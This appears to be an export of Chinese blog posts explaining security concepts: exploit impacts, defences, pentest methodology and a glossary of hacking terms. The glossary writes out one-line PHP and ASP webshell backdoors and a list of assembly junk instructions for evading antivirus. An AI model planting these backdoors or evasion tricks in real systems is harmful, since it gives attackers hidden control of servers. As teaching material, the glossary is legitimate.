未经授权访问:漏洞利用可以使攻击者绕过访问控制机制,进入受攻击的系统、应用程序或网络。攻击者可以获取管理员权限、访问敏感信息、操纵和删除数据,甚至完全控制目标系统。 数据泄露和隐私泄露:通过漏洞利用,攻击者可以获取包括个人身份信息、财务数据、健康记录等敏感信息。这些数据泄露可能导致个人隐私受到侵犯,进而被用于身份盗窃、欺诈和其他非法活动。 业务中断和系统崩溃:某些漏洞利用技术可以导致目标系统崩溃、服务中断或不可用。攻击者可以通过发送恶意数据包、执行拒绝服务(Denial of Service,DoS)攻击来占用系统资源,使业务无法正常运行,给企业和用户带来巨大影响。 恶意代码传播:漏洞利用可以用于传播恶意软件、病毒和蠕虫等恶意代码。攻击者可以通过利用系统或应用程序中的漏洞实施远程执行代码(Remote Code Execution,RCE),将恶意代码注入到目标系统中,进而传播到其他系统和网络。 对应的安全模型:边界与隔离模型 漏洞利用往往可以通过攻击系统的弱点或漏洞来入侵系统。在边界与隔离模型下,重要的是将系统划分为不同的边界区域,每个区域都有特定的安全策略和访问控制规则。这样可以限制漏洞利用的传播和影响范围,即使一部分系统受到攻击,其他区域仍然可以保持相对安全。 限制攻击面:通过设置边界和隔离控制,可以减少系统暴露在外部攻击的机会。攻击者需要首先突破边界才能进一步进行漏洞利用。 损失隔离:将系统划分为不同的区域和层次可以减轻漏洞利用的潜在影响。即使一个区域受到攻击,其他区域仍然可以保持相对安全。 访问控制:边界与隔离模型注重实施严格的访问控制策略。只有经过授权的用户或实体才能穿越边界并访问相应的资源。 维护容错性:通过隔离和分段的设计,边界与隔离模型可提高系统的容错性。即使一个区域出现漏洞利用或故障,其他区域仍然可以正常运行。 解决和预防漏洞利用问题 漏洞管理:建立一个系统化的漏洞管理流程,包括漏洞扫描、漏洞评估和漏洞修复。定期检查和修补系统和应用程序中的已知漏洞,确保及时更新和安装安全补丁。 访问控制和权限管理:实施严格的身份验证、访问控制和权限管理机制,限制对系统和敏感数据的访问。根据最小权限原则,对每个用户或角色分配最低必要权限。 网络安全措施:部署防火墙、入侵检测系统(IDS)和入侵预防系统(IPS)等网络安全设备,监测和阻断恶意流量。定期进行网络漏洞扫描和安全审计。 应用程序安全:开发安全的应用程序,包括使用安全编码实践、输入验证、输出过滤、安全配置和错误处理机制。进行应用程序漏洞扫描和代码审计,修复和消除潜在的漏洞。 持续监测和响应:建立安全事件监测和响应机制,包括实时监控、日志分析和安全事件响应策略。及时检测和处理异常行为和潜在的漏洞利用活动。 安全更新和漏洞通告:定期关注安全厂商和供应商发布的安全更新和漏洞通告。确保及时跟踪并采取必要的行动来解决已知的漏洞。 安全审计和合规性:定期进行安全审计和风险评估,确保系统符合安全标准和合规性要求。根据审计结果,改进安全策略和控制措施。 安全问题 – 数据泄露 数据泄露指的是未经授权或非法方式导致敏感信息、个人数据或机密信息被披露、公开或泄露的事件。这些信息可以包括但不限于个人身份信息、银行账号、信用卡信息、健康记录、商业机密等。 个人隐私暴露:当个人敏感信息被泄露后,个人的隐私权可能受到侵犯。攻击者可能利用这些信息进行身份盗窃、欺诈活动或其他非法行为。 金融损失:银行账号、信用卡信息等被泄露后,攻击者可以通过盗取资金、进行非法交易或滥用信用卡等方式导致受害者遭受经济损失。 信誉受损:组织遭受数据泄露事件后,其信誉和声誉可能受到损害。公众对该组织的信任度可能降低,客户和合作伙伴可能会转向竞争对手,从而对组织造成负面影响。 知识产权风险:商业机密、专有技术或研究成果等的泄露可能导致知识产权受损。竞争对手或其他不良方进行恶意盗取、复制、使用或披露,给组织带来重大经济损失。 组织运营受阻:数据泄露事件可能导致系统瘫痪、服务中断或业务操作受到干扰。这可能会造成生产停滞、客户流失、员工不信任等问题,对组织的正常运营造成重大影响。 对应的安全模型:安全生命周期模型 安全生命周期模型被视为与数据泄露有关的安全思维模型,因为它提供了一个全面、前瞻且持续的框架,帮助我们在整个软件或系统的生命周期中集成和管理安全性,从而更好地预防和应对数据泄露风险。 全面性:安全生命周期模型提供了一个全面的安全开发和管理框架,涵盖了软件或系统的整个生命周期。在每个阶段中,都集成和考虑了安全性,从需求分析到设计、开发、测试、部署和维护等各个环节。数据泄露通常与系统或应用程序的某个环节存在关联,因此在整个生命周期中集成安全性能够更好地降低数据泄露的风险。 防患于未然:安全生命周期模型强调在早期阶段识别和解决安全问题,以防止数据泄露等安全漏洞的出现。通过在需求分析和设计阶段考虑安全需求和安全措施,可以在后续的开发和测试过程中更好地建立起安全性。这种前瞻性的思维模式有助于减少潜在的数据泄露风险。 持续性:安全生命周期模型将安全性视为一个持续的过程,而不是一次性的解决方案。在软件或系统的整个生命周期中,需要不断地进行安全性评估、漏洞修复和风险管理等工作。通过持续地关注和改进安全性,可以更好地应对新的威胁和漏洞,并及时采取相应的措施来预防数据泄露等安全问题。 解决和预防数据泄露问题 实施数据分类:数据分类可以根据数据的敏感程度和重要性将数据分为不同级别,然后为每个级别分配合适的保护措施。比如公司内部有些数据只能供内部团队查看,而不是每个员工都可以访问。 强化系统访问控制:限制系统访问权限可以控制员工和外部人员对数据的访问,从而减少数据遭到不当使用或泄露的风险。为每个用户分配权限,并定期审查和更新这些权限。 加密数据:加密是一种有效的保护数据隐私和防止数据泄露的方法。可以利用数据库、文件夹或通信线路进行数据加密,确保数据在传输和存储过程中的安全性。 监控数据访问和使用:监控数据访问和使用可以帮助企业及时发现和处理可能的数据泄露事件。例如,记录所有数据访问和操作,使用报警系统以及实施审计和监控,可以使管理者在数据流出问题发生之前了解到问题。 定期进行漏洞扫描和渗透测试:定期进行漏洞扫描和渗透测试可以发现系统或应用程序中的安全漏洞,并及时修复它们,从而减少数据泄露的风险。 相关术语渗透测试何为?what?PTES 首先,我们需要获得目标系统拥有者或合法授权人的书面授权(无授权不上机),这份授权文件明确规定了测试的权限范围和方式。 同时,我们也会与目标系统拥有者签署保密协议,确保测试结果只限于授权人员知晓,并防止泄漏敏感信息。 在测试开始之前,我们会提供一份风险告知书,详细说明可能出现的风险和潜在影响,以确保目标系统拥有者清楚地理解测试的性质。通过这些准备工作,我们能够建立起测试团队与目标系统拥有者之间的合作和信任关系,为顺利进行渗透测试奠定基础。 为什么要这样做why?​\t渗透测试已成为安全计划中不可或缺的一部分,用于对系统或整个IT基础设施进行模拟测试。 通过渗透测试,可以揭示操作系统、网络设备和应用程序中的核心攻击向量和弱点。其主要目的是发现和修复漏洞,以防止攻击者利用它们。 在当今日益复杂的网络犯罪环境中,包括DDoS攻击、网络钓鱼勒索软件和其他无数攻击策略的使用,渗透测试变得比以往任何时候都更加重要。最佳的防御措施始于了解业务/公司的优势和劣势,正如《战争艺术》中所述,如果对敌人和自身一无所知,就必然会面临威胁。 渗透测试通过了解可能遭受的攻击方式,并采取相应的保护步骤,提供了使安全组织更加成熟的情报和见解。 如何做?HOW?当谈到渗透测试时,我们可以使用一个类比来解释其过程,比如小偷进入一座建筑物的例子: 确定目标:小偷决定要进入的建筑物是他的目标。 收集信息:小偷开始收集有关建筑物的信息,例如它的结构、门窗的位置和安全措施。 发现漏洞:小偷利用他收集到的信息,寻找建筑物中的漏洞,例如未锁好的门、窗户没有关闭或者是容易破坏的锁。 获取访问权限:小偷选择最容易进入的路径,比如找到一个未锁好的门或窗户,然后进入建筑物。 探索系统:一旦小偷进入建筑物,他开始探索里面的各个房间,寻找贵重物品或者其他有价值的东西。 维持访问:如果小偷成功地找到了贵重物品,他可能会决定在建筑物内继续停留,以确保他可以长时间持续获取财物。 分析结果:小偷分析他所获得的贵重物品,并决定如何处理这些物品。 编写报告:小偷可能会记录他的行动、观察和建议,以便他可以在未来的行动中学习和改进。 渗透测试的思维是怎么样的?我们所谓的猥琐的思维就是渗透的思维,也就是大家常说的鬼点子多,鬼主意多。 这意味着我们要从不同角度去思考同⼀件事情我们在渗透的时候要始终贯彻⼀个方针:换位思考。 比如管理员会怎么设置网站,管理员会怎么设置密码,管理员会… … 渗透就跟泡妹纸⼀样 认识妹纸(确定目标) 了解妹纸(信息收集) 逗妹纸开心(漏洞扫描) 得到妹纸的肯定之后就开始寻找时机表白(漏洞利用) 表白失败(漏洞被修补或有WAF) 要么死缠烂打要么就Next one,要么就用其他的方法来搞定妹纸 https://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/PTES.7zhttps://security-1258894728.cos.ap-beijing.myqcloud.com/Manual/PTES.7z 漏洞利用何为?what? ​\t漏洞(Vulnerability)是指软件、系统或网络中存在的错误或缺陷,可能被恶意利用从而导致安全威胁。漏洞可以存在于操作系统、应用程序、网络协议或硬件设备中。 我们使用的各种设备,如手机、电脑、工作站、服务器、路由器和门铃等,在某个时间点都可能存在一些弱点,也就是漏洞。 特别是对于大企业和小企业而言,我们都希望不让这些漏洞存在,因此我们需要采取一些措施来检测并修复它们。 在互联网上,黑客们一直在寻找这些漏洞,他们希望利用这些漏洞来实现某种目标。如果存在这样的漏洞,他们会尝试利用它。 因此,漏洞就是系统中的弱点,而威胁或威胁者则是指利用这些弱点的人,我们通常将他们称为黑客。 据统计,有95%的网络攻击是利用已知的漏洞进行的,并且每年都会发现超过15000个新的漏洞。 这再次强调了修补漏洞的重要性,以降低黑客攻击的风险。 为什么要这样做why?漏洞利用是指利用计算系统中存在的潜在漏洞或弱点来实施攻击的过程。 举个例子,如果我们想要破坏一个窗户,我们可以向窗户扔一块石头或使用一根撬棍。无论哪种方式,都是利用窗户易碎这个共同的潜在漏洞。 在计算机系统中也可能发生类似的情况,即漏洞利用是通过发送一些恶意代码(即恶意软件本身)给受害者来实现的。 黑客会利用操作系统或应用程序中的潜在漏洞,以此进行漏洞利用攻击。他们可能会利用这些漏洞来获取未经授权的访问权限、窃取敏感信息或对系统进行损坏。 如何做?HOW?exploitDB​\t漏洞利用数据库是一个大家都知道的资源库,里面包含了已经发现的可以用来攻击系统漏洞的代码。其中一个非盈利组织安全公司维护的项目叫做exploitDB(也称为searchsploit)。该项目的目的并不是收集漏洞本身,而是收集那些可用于利用漏洞的工具和代码,从最简单的概念验证(即证明漏洞存在)到成熟的可以实际利用漏洞的代码和软件。这个数据库拥有成千上万的漏洞利用程序,并且还在不断增加新的内容。通过使用这个数据库,安全专业人员可以更好地了解已知的漏洞,并采取相应的安全措施来保护软件和系统。 MSFMetasploit Framework(简称MSF)是一种常见且广为人知的漏洞利用工具。它是一个开源框架,任何人都可以下载和使用。该框架包含2000多个不同的漏洞利用程序,可以自动化地利用这些漏洞。它主要用于进行渗透测试,但也可以被滥用以非法访问系统。Metasploit基于模块化设计,任何人都可以贡献新的模块,并且有几种不同类型的模块可用。 漏洞复现何为?what? ​\t漏洞复现是指通过重新创建或模拟已知的漏洞情景,以验证漏洞的存在和可利用性。它是一个安全测试过程中的重要步骤。通过漏洞复现,安全专业人员可以确认漏洞的存在,并评估其对系统或应用程序的威胁程度。 ​\t漏洞复现通常包括以下步骤: 收集漏洞相关信息:安全专业人员首先会收集有关漏洞的详细描述、已公开的漏洞利用代码或漏洞报告等信息。 重建漏洞环境:为了复现漏洞,安全专业人员需要在实验环境中重建与漏洞相关的系统或应用程序。这可能涉及到配置特定的操作系统、软件版本和网络设置等。 复现漏洞:在重建的漏洞环境中,安全专业人员会按照已知的漏洞利用方法和步骤,尝试复现漏洞的具体行为。他们可能使用漏洞利用工具或自行编写代码来实施攻击。 观察和记录结果:在漏洞复现的过程中,安全专业人员会观察漏洞的表现,并记录详细的复现过程和结果。这些记录对于后续的漏洞分析和修复非常重要。 为什么要这样做why? 理解漏洞本质:通过漏洞复现,渗透测试工程师可以深入理解漏洞的本质、原理和影响。这对于他们在渗透测试过程中更好地识别和利用类似漏洞至关重要。 验证漏洞存在:在渗透测试中,识别漏洞并确认其存在是至关重要的一步。通过漏洞复现,渗透测试工程师可以验证已发现的漏洞,并获得更多有关漏洞的详细信息。 发现未知的漏洞:在复现已知漏洞的过程中,渗透测试工程师或学习者有可能意外地发现原本未知的漏洞。这种发现不仅是对自身技术能力的肯定,也为系统安全提供了更全面的保护。 学习攻击技术:通过漏洞复现,渗透测试学习者可以学习和了解不同类型漏洞的攻击技术。他们可以通过模拟攻击来加深对漏洞利用过程的理解,提高自己的技术水平。 提供修复建议:通过漏洞复现,渗透测试工程师可以收集足够的证据和数据,为系统管理员或开发者提供详细的修复建议。这有助于加强系统的安全性和减少潜在的攻击风险。温 故而知新:通过漏洞复现,渗透测试工程师或学习者可以重新研究和复习已知的漏洞类型和攻击技术。这有助于加深对现有漏洞的理解,并为探索新漏洞奠定基础。 如何做?HOW? https://www.vulnhub.com/https://www.vulnhub.com/ https://portswigger.net/web-security/https://portswigger.net/web-security/ 优秀UP主推荐","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-网安专业术语篇","path":"/2024/02/10/c44eef61/","content":"总字符数: 13.41K 代码: 0.60K, 文本: 10.29K 预计阅读时间: 47 分钟 代码审计 顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方. 通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议 WEB框架 定义: Web框架是一种用于简化和加速Web应用程序开发的工具集,提供了一套结构和规则,使得开发者能够更容易地构建和维护Web应用. 功能: Web框架通常提供路由、模板引擎、数据库集成、会话管理等核心功能.它们为开发者提供了一种组织代码的方式,以便更轻松地处理HTTP请求和构建响应. CMS CMS是Content Management System的缩写,意为”内容管理系统” 定义: CMS是一种用于创建、编辑和管理网站内容的软件.它们通常提供了一个用户友好的界面,使非技术人员能够轻松地创建和更新网站内容,而无需深入了解编程. 功能: CMS包括内容编辑、版本控制、用户管理、权限控制等功能.它们的主要目标是简化网站内容的管理和更新. 黑页 一些计算机被入侵后,入侵者为了证明自己的存在,对网站主页(在服务器开放WEB服务的情况下)进行改写,从而公布入侵者留下的信息,这样的网页通常称为黑页 大马功能强大的网页后门,能执行命令,操作文件,连接数据库 小马 比较单一的网页后门.一般就是上传保存大马. 一句话后门 一句话后门又称一句话木马. 指的是一段很小的网页代码后门,可以使用客户端连接,对网站控制.如中国菜刀 1<?php @eval($_POST['a'])?> 12<%eval request('a')%><%execute request('a') %> 拖库 拖库本来是数据库领域的术语. 指从数据库中导出数据.黑客入侵数据库后把数据库导出来 撞库 撞库攻击是黑客通过搜集在互联网上已泄露的用户和密码信息,然后生成一个包含这些信息的字典表. 攻击者随后使用这个字典表尝试在其他网站上进行批量登录,试图找到可以成功登录的用户账户. 注入 注入攻击就像是在系统中注入了病毒一样,是一种常见的网络安全漏洞. 想象一下,在网站上填写表单的时候,你输入一些信息,系统会根据你的输入执行相应的操作,比如搜索、登录等.而注入攻击就是通过巧妙的手法,在你的输入中夹带一些恶意代码,以绕过系统安全控制、窃取数据或破坏系统正常运行. 举个例子:假设你在一个网站上输入用户名和密码进行登录,系统会验证你的输入是否合法.而一个黑客可能会在用户名或密码的输入框中注入一些特殊的代码,让系统误以为他是合法用户,从而获取敏感信息. 注入攻击的危害:就像在输入框里注入了病毒一样,系统执行了不正常的操作.为了防范注入攻击,开发者需要编写安全的代码,确保用户输入的信息不会被误解成恶意代码.这样,系统就能更好地保护用户数据和系统安全. 注入点 注入点是指在程序中可以接受用户输入的地方,尤其是那些与数据库交互的地方,可能成为恶意用户实施注入攻击的入口. 旁站入侵 同一个服务器上有多个站点,可以通过入侵其中一个站点,可以通过提权跨目录访问其他站点 权限维持权限 权限计算机用户对于文件及目录的建立,修改,删除以及对于某些服务的访问,程序的执行,是以权限的形式来严格区分的. 被赋予了相应的权限,就可以进行相应的操作,否则就不可以 肉鸡 所谓”肉鸡”是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,无关系统,无关用途. 我们可以像操作自己的电脑那样来操作它们,而不被对方察觉 木马 就是那些表面上伪装了正常的程序,但是当这些程序被运行时,就会获取系统的整个控制权限. 有很多黑客就是热衷于使用木马程序来控制别人的电脑,比如灰鸽子,CS,QUASAR等 远控 是在网络上由一台电脑(主控端Remote/客户端)远距离去控制另一台电脑(被控端Host/服务器端)的技术. 这里的远程不是字面意思的远距离,一般是指通过网络控制远端电脑 后门 这是一种形象的比喻,攻击者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置. 这些改动表面上是很难被察觉到的,但是攻击者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接,重新控制这台电脑. 就好像是攻击者偷偷的配了一把主人房间的钥匙,可以随时进出而不被主人发现一样,通常大多数的特洛伊木马(Trojan Horse)程序都可以被攻击者用于制作后门(BackDoor) 提权 顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest(访客),然后通过提权后就变成了超级管理员,拥有了管理Windows的所有权限. 提权是黑客的专业名词,一般用于网站入侵和系统入侵中. Rootkit Rootkit是攻击者用来隐藏自己的行踪和保留根权限(相当于Windows下的system或管理员权限)的工具. 通常,攻击者通过远程攻击或密码猜解获得系统访问权限,然后再利用系统内的安全漏洞获取根权限.在获得根权限后,攻击者会安装Rootkit,以长期控制对方系统. 横向渗透 横向渗透(Lateral Movement)是指攻击者在已经入侵了一台或多台受害者主机之后,通过利用系统漏洞、弱口令等方式,向网络中其他同等级主机进行攻击,并在网络中横向移动,以获取更多的系统权限和敏感信息. 攻击者通常会使用恶意软件、后门程序等手段来进行横向渗透,以避免被系统安全软件和检测机制发现和拦截. 横向渗透对于攻击者而言非常重要,因为攻击者可以通过横向渗透在网络中获得更多的权限和敏感信息. 攻击者通过横向渗透可以访问其他主机上的文件、数据库、邮件等敏感信息,甚至可以获取系统管理员的权限,从而进一步深入系统,控制整个网络. 为了防范横向渗透攻击,组织可以采取一些安全措施,如加强系统安全配置、及时更新补丁、使用强口令、限制用户权限、使用安全软件等. 此外,组织还可以通过安全培训和意识提高等方式提高员工的安全意识,减少安全漏洞的发生. 纵向渗透 纵向渗透(Vertical Movement)是指攻击者在已经入侵了一台或多台受害者主机之后,通过利用系统漏洞或社交工程等手段,向网络中更高级别的主机或系统进行攻击,以获取更高级别的系统权限和敏感信息(一句话概括:提权或者拿主控机器). 攻击者通常会利用系统中的弱点和漏洞,来获取更高级别的权限和敏感信息,从而控制整个网络. 纵向渗透攻击通常是通过提升攻击者的权限来实现. 攻击者可能会从普通用户的权限提升到管理员的权限,然后再提升到系统管理员的权限,最终控制整个网络. 攻击者还可以通过利用社交工程等手段,获取高级别用户的账号和密码,从而进一步提升其权限. 纵向渗透攻击的危害性非常大,因为攻击者可以通过提升权限来控制更多的系统资源和敏感信息,从而对受害组织造成更大的损失. 为了防范纵向渗透攻击,组织可以采取一些安全措施,如限制用户权限、加强系统安全配置、使用强口令、定期修改密码等. 此外,组织还可以通过安全培训和意识提高等方式提高员工的安全意识,减少安全漏洞的发生. 同时,组织还应该定期进行安全漏洞扫描和漏洞修复,以及加强日志的监控和分析,及时发现和防范纵向渗透攻击. 人员安全社会工程学 社会工程学攻击是一种通过对被攻击者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱所采取的诸如欺骗、伤害等危害手段,获取自身利益的手法. 黑客社会工程学攻击则是将黑客入侵攻击手段进行了最大化,不仅能够利用系统的弱点进行入侵,还能通过人性的弱点进行入侵,当黑客攻击与社会工程学攻击融为一体时,将根本不存在所谓安全的系统 社工库 社工库是黑客与数据方式进行结合的一种产物,黑客们将泄露的用户数据整合分析,然后集中归档的一个地方 网络钓鱼 网络钓鱼是一种利用欺骗性的电子邮件和伪造的网站来进行诈骗活动的手段. 攻击者通常会冒充合法机构或个人,诱使受害者提供个人敏感信息如信用卡号、账户用户名、密码和社保编号等. 这些信息可能被用于非法目的,如盗取财务资料、身份盗窃等. 捕鲸攻击 捕鲸是另一种进化形式的鱼叉式网络钓鱼. 它指的是针对高级管理员和组织内其他高级人员的网络钓鱼攻击 通过使电子邮件内容具有个性化并专门针对相关目标进行定制的攻击 弱口令 弱口令:指那些强度不够,容易被猜解的,类似于123456,password,这样的口令(密码) 系统安全端口扫描 端口扫描是指发送一组端口扫描信息,通过它了解到从哪里可以探寻到攻击弱点,并了解其提供的计算机网络服务类型,试图以入侵某台计算机 IPC$ IPC$是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用 默认共享 默认共享是指在Windows系统开启共享服务时,自动将所有硬盘进行共享. 这些默认共享使用了以”$“标志为特征,表示它们是隐含的. 默认共享包括所有逻辑盘(如C$, D$, E$等)和系统目录Winnt或Windows(admin$).因此,它们也被称为隐藏共享. 溢出 溢出:确切的讲,应该是”缓冲区溢出”. 简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令. 大致可以分为两类: 堆溢出 栈溢出 嗅探 嗅探是指在计算机网络中捕获数据信息. 由于支持每对通讯计算机独占通道的交互机/集线器昂贵,因此共享通讯道的嗅探通常是不可避免的. 共享意味着计算机可以接收到发送给其他计算机的信息. 因此,当计算机接收并捕获在网络中传输的数据信息时,就称为嗅探. 跳板 一个具有辅助作用的机器,利用这个主机作为一个间接工具,控制其他主机,一般和肉鸡连用 蠕虫病毒 它利用了Windows系统的开放性特点,特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能. 以VB脚本病毒为例:他们都是把VBS脚本文件加在附件中,使用*.HTM,VPS等欺骗性的文件名. 蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大破坏性 恶意软件 被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序 间谍软件 一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件 反弹端口 有人发现,防火墙对于连入的连接往往会进行非常严格的过滤,但是对于连出的连接却疏于防范. 于是,利用这一特性,反弹端口型软件的服务端(被控制端)会主动连接客户端(控制端),就给人”被控制端主动连接控制端的假象,让人麻痹大意” C2 C2全称为Command and Control 命令与控制,常见于APT攻击场景中. 作动词解释时理解为恶意软件与攻击者进行交互,作名词解释时理解为攻击者的”基础设施” Shell 指的是一种命令行环境,比如我们按下键盘上的”Win键+R”时出现”运行”对话框,在里面输入”cmd”会出现一个用于执行命令的黑窗口,这个Windows的Shell执行环境. 通常我们使用上传后的大马中那个用于执行系统命令的环境就是对方的Shell 交互式Shell 交互式模式就是Shell等待你的输入,并且执行你提交的命令.这种模式被称作交互式.因为Shell与用户进行交互.这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退. 当你签退后,Shell也就终止了 WebShell WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门. 黑客在拿下一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到网站服务器的目的. 可以上传下载文件,查看数据库,执行恶意程序命令. 免杀 就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀 加壳 就是利用特殊的算法,将EXE可执行程序或者DLL动态链接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的.目前较常用的壳有UPX、ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等 花指令 就是几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常的判断病毒文件的构造.通俗来说就是”杀毒软件是从头到脚按顺序来查找病毒,如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了” 1234567891011121314151617181920push ebp # 把基址指针寄存器压入堆栈pop ebp # 把基址指针寄存器弹出堆栈push eax # 把数据寄存器压入堆栈pop eax # 把数据寄存器弹出堆栈nop # 不执行add esp,1 # 指针寄存器加1sub esp,-1 # 指针寄存器加1add esp,-1 # 指针寄存器减1sub esp,1 # 指针寄存器减1inc ecx # 计数器加1dec ecx # 计数器减1sub esp,1 # 指针寄存器-1sub sep,-1 # 指针寄存器加1jmp # 入口地址 --- 跳到程序入口地址push # 入口地址 --- 把入口地址压入堆栈retn # 返回到入口地址,效果与jump入口地址一样mov eax # 入口地址-----把入口地址转送到数据寄存器中jmp eaz # 跳到程序入口地址jb # 入口地址jnb # 入口地址----效果和jmp入口地址一样 可用性安全拒绝服务攻击(DOS) 拒绝服务攻击(DOS)是 Denial of Service的简称,即拒绝服务,造成DOS的攻击行为被称为DOS攻击,其目的是使计算机或网络无法正常服务. 最常见的DOS攻击有计算机网络宽带攻击和连通性攻击,连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源被消耗,最终计算机无法再处理合法用户的请求 分布式拒绝服务攻击(DDOS) 分布式拒绝服务攻击(DDoS)是一种通过向目标系统发送大量无用的网络流量,以使目标系统无法正常处理合法流量的攻击方式. 这些攻击通常利用多个来源的计算机或设备来同时攻击目标系统,使得目标系统无法承受如此大量的流量而崩溃或变得不可用. DDoS攻击可以采用多种方式进行,例如:UDP flood攻击、ICMP flood攻击、SYN flood攻击、HTTP flood攻击等. 攻击者通常通过僵尸网络(也称为“僵尸军团”或“僵尸网络”)控制大量的计算机或设备来发起攻击,这些计算机或设备被感染并被远程控制,成为攻击者的工具. DDoS攻击的危害非常严重,它可以导致目标系统长时间不可用,给目标系统的正常运行带来很大的影响,甚至可能会造成重大的经济损失. 为了防止DDoS攻击,可以采取一系列的措施,例如:使用防火墙、入侵检测系统等安全设备,进行流量监控和分析,提高系统的抗攻击能力等 CC攻击 攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(Challenge Collapsar) 洪水攻击 是黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的. 从定义上说,攻击者对网络资源发送过量数据时就发生了洪水攻击,这个网络资源可以是router、switch、host、application等. 洪水攻击将攻击流量比作成洪水,只要攻击流量足够大,就可以将防御手段打穿.DDos攻击便是洪水攻击的一种 SYN 攻击 利用操作系统TCP协议设计上的问题执行的拒绝服务攻击,涉及TCP建立连接时三次握手的设计 软件安全Shellcode Shellcode:简单翻译:Shell代码,是Payload的一种,由于其建立正向/反向Shell而得名 软件加壳 “壳”是一段专门负责保护软件不被非法修改或反编译的程序. 它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务. 经过加壳的软件在跟踪时已看到其真实的十六进制代码,因此可以起到保护软件的目的 软件脱壳 顾名思义:就是利用相应的工具,把在软件”外面”起保护作用的”壳”程序去除,还原文件本来的面目,这样修改文件内容就会容易的很多 渗透测试网络靶场 主要是指通过虚拟环境与真实设备相结合,模拟仿真出真实赛博网络空间攻防作战环境,能够支撑攻防演练、安全教育、网络空间作战能力研究和网路武器装备验证实验平台 黑盒测试 它是指在测试过程中,测试人员没有或只有很少的关于被测试系统的内部结构、工作原理和代码实现等信息. 测试人员只能通过系统对外部接口的输入和输出来判断系统是否存在安全漏洞. 黑盒测试通常是在测试人员不了解系统内部结构和源代码的情况下进行的,这种测试方法更加贴近于实际的攻击情况,因为攻击者通常也无法获得系统的内部信息. 黑盒测试可以模拟攻击者的行为来测试系统的安全性,包括但不限于输入验证、身份认证、访问控制、数据加密、会话管理、错误处理等方面. 黑盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,黑盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 白盒测试 它是指在测试过程中,测试人员拥有被测试系统的内部结构、工作原理和代码实现等信息. 测试人员可以利用这些信息来测试系统是否存在安全漏洞. 白盒测试通常是在测试人员已经了解系统内部结构和源代码的情况下进行的,这种测试方法可以更加全面地检查系统的安全性. 白盒测试可以检查系统的代码实现是否符合安全标准和最佳实践,包括但不限于输入验证、身份认证、访问控制、数据加密、会话管理、错误处理等方面. 白盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,白盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 白盒测试的优势在于可以发现一些黑盒测试无法发现的细节性问题,但它需要测试人员具备丰富的技术和经验. 灰盒测试 是一种介于黑盒测试和白盒测试之间的测试方法,它是指在测试过程中,测试人员有一定的关于被测试系统的内部结构、工作原理和代码实现等信息,但这些信息通常不够详细或完整. 测试人员可以利用这些信息来测试系统是否存在安全漏洞,同时也需要模拟攻击者的行为来测试系统的安全性. 灰盒测试通常是在测试人员了解系统的某些部分内部结构和源代码的情况下进行的,但测试人员通常无法完全了解系统的所有部分. 灰盒测试可以结合黑盒测试和白盒测试的优势,既可以测试系统的输入输出接口,又可以检查系统的代码实现是否符合安全标准和最佳实践. 同时,灰盒测试也可以模拟攻击者的行为来测试系统的安全性. 灰盒测试可以帮助组织评估其系统的安全性,以及找出其中的弱点和漏洞,以便采取措施加以弥补. 同时,灰盒测试也可以帮助组织提高其系统的安全性,以保护系统中的敏感信息不被攻击者获取. 灰盒测试需要测试人员具备丰富的技术和经验,以便在了解系统的一定部分内部结构和源代码的情况下,能够全面地测试系统的安全性. 漏扫 即漏洞扫描,指基于漏洞数据库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测(渗透攻击)行为. 岗位术语白帽黑客 白帽黑客就是真正的黑客,或者叫红客,探测网络中的软件或者系统的漏洞,并且把漏洞消息告诉网站管理员,不进行破坏性更改. 简单来说,是为了保障安全,修补漏洞 黑帽黑客 黑帽黑客就是大家通常所说的黑客,那种黑客其实真名叫骇客,他们是发现网络中的软件或者系统的漏洞后,对其进行破坏. 简单来说,是为了恶意破坏,属于非法行为 RedTeam(红队) **红队专注于不同系统及其安全程序级别的渗透测试.**它们的存在是为了检测、预防和消除漏洞. 红队模仿可能袭击公司或组织的现实世界的攻击,并执行攻击者将使用的所有必要步骤.通过扮演攻击者的角色,他们向组织展示了哪些可能是对其网络安全构成威胁的后门或可利用漏洞. 